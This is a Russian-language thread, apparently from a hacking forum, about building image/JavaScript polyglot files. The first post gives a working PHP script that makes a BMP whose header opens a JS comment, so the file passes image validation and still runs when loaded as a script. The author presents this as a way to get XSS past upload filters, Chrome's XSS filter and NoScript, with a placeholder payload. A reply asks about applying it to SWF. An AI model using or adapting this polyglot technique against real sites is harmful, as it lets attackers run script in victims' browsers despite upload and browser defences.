Всем привет, вчера, отвечая здесь: https://forum.antichat.ru/showpost.php?p=3383318&postcount=4 на пост Rainbow, меня посетила мысль, а нельзя ли создавать для эксплуатации на клиентской части такие файлы, которые будут совмещать форматы, так-как большинство валидаторов, обрабатывающих файлы после заливки проверяют его валидность, в большинстве случаев на картинку. В случае обхода фильтра XSS в Chrome, была нужна загрузка произвольных файлов, которая есть не везде, я подумал и вот что из этого вышло: После недолгих поисков описания BMP, родился скрипт, создающий BMP 100x100, прекрасно работающий в фото-приложениях, но имеющий возможность интерпретации: PHP: <?php class outImg { public static function bmpGet () { $outData = array(); /* BITMAPFILEHEADER */ //bfType $outData[0] = "BM"; //2h Byte (2) //bfSize $outData[1] = "/*\x00\x00"; //6h Byte (4) //bfReserved1 $outData[2] = "\x00\x00"; //8h Byte (2) //bfReserved2 $outData[3] = "\x00\x00"; //Ah Byte (2) //bfOffBits $outData[4] = "\x36\x00\x00\x00"; //Eh Byte (4) //All - Eh /* BITMAPINFOHEADER */ //biSize $outData[5] = "\x00\x00\x00\x28"; //12h Byte (4) //biWidth $outData[6] = "\x64\x00\x00\x00"; //16h Byte (4) //biHeight $outData[7] = "\x64\x00\x00\x00"; //1Ah Byte (4) //biPlanes $outData[8] = "\x01\x00"; //1Ch Byte (2) //biBitCount $outData[9] = "\x08\x00"; //1Eh Byte (2) //biCompression $outData[10] = "\x00\x00\x00\x00"; //22h Byte (4) //biSizeImage $outData[11] = "\x00\x00\x00\x00"; //26h Byte (4) //biXPelsPerMeter $outData[12] = "\x00\x00\x00\x00"; //2Ah Byte (4) //biYPelsPerMeter $outData[13] = "\x00\x00\x00\x00"; //2Eh Byte (4) //biClrUsed $outData[14] = "\x00\x00\x00\x00"; //32h Byte (4) //biClrImportant $outData[15] = "\x00\x00\x00\x00"; //36h Byte (4) //All - 14h /* Binary Data */ $outData[17] = '*/=1;document.write("Antichat!");'; $outData[16] = str_repeat("\xFF", ((100*100) - strlen($outData[17]))); /* JS Data */ return join('', $outData); } } if(isset($_GET['js'])) { header ("Content-Type: image/gif"); echo outImg::bmpGet(); exit; } ?><html> <head> <title>XSS Тест - обход запрета выполнения JS на другом домене + Обход Chrome фильтра</title> </head> <body> <pre>Контент на странице</pre><br> XSS:<br> <script src="./test.php?js=1"></script> </body> </html> В данном векторе атаки есть просторы для исследований, т.к. существуют другие потенциальные уязвимости, к примеру в SWF, позволяющие читать данные с данного домена, и эти наработки могут пригодится для эксплуатации уязвимости там, где её просто нет, да и способы склеивания можно значительно усовершенствовать, что-бы возможно они имели возможность проходить ещё либо через какие-то функции. + С помощью донного способа можно обойти ограничения NoScript и т.п. плагинов. UDP: http://www.adobe.com/content/dam/Adobe/en/devnet/swf/pdf/swf_file_format_spec_v10.pdf Интересный документ
Возможно не так все понял(не колер я) Думаю ни для кого не секрет что через swf можно выполнить поизвольный жс код,но часто его стали заковывать в nosсript с помощью этого как то можно это обойти?